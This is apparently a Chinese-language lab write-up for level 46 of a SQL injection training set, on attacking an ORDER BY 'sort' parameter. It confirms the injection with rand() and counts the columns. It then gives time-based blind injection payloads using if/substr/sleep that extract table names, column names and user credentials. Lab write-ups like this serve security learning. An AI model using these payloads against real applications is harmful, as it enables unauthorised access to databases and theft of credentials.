在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
打开第46关,发现提示
提示我们Please input parameter as SORT with numeric value(用数字形式输入[sort]排序参数)
这里可以进行尝试一下,按照提示,发现确实是这样
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序;(同样道理)
?sort=rand(true)
?sort=rand(false)
说明存在注入点且可以使用报错注入
接下来可以进行判断字段数
输入3回显正常,但是4就报错,说明有三个字段
然后暴库
也可以采用时间盲注
结果是一样的
表名:
也可以时间注入:
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),0)
字段:
时间注入:
?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)
数据:
时间注入:
?sort=1 and if(substr((select group_concat(username,password) from security.users limit 0,1),1,1)='d',sleep(5),0)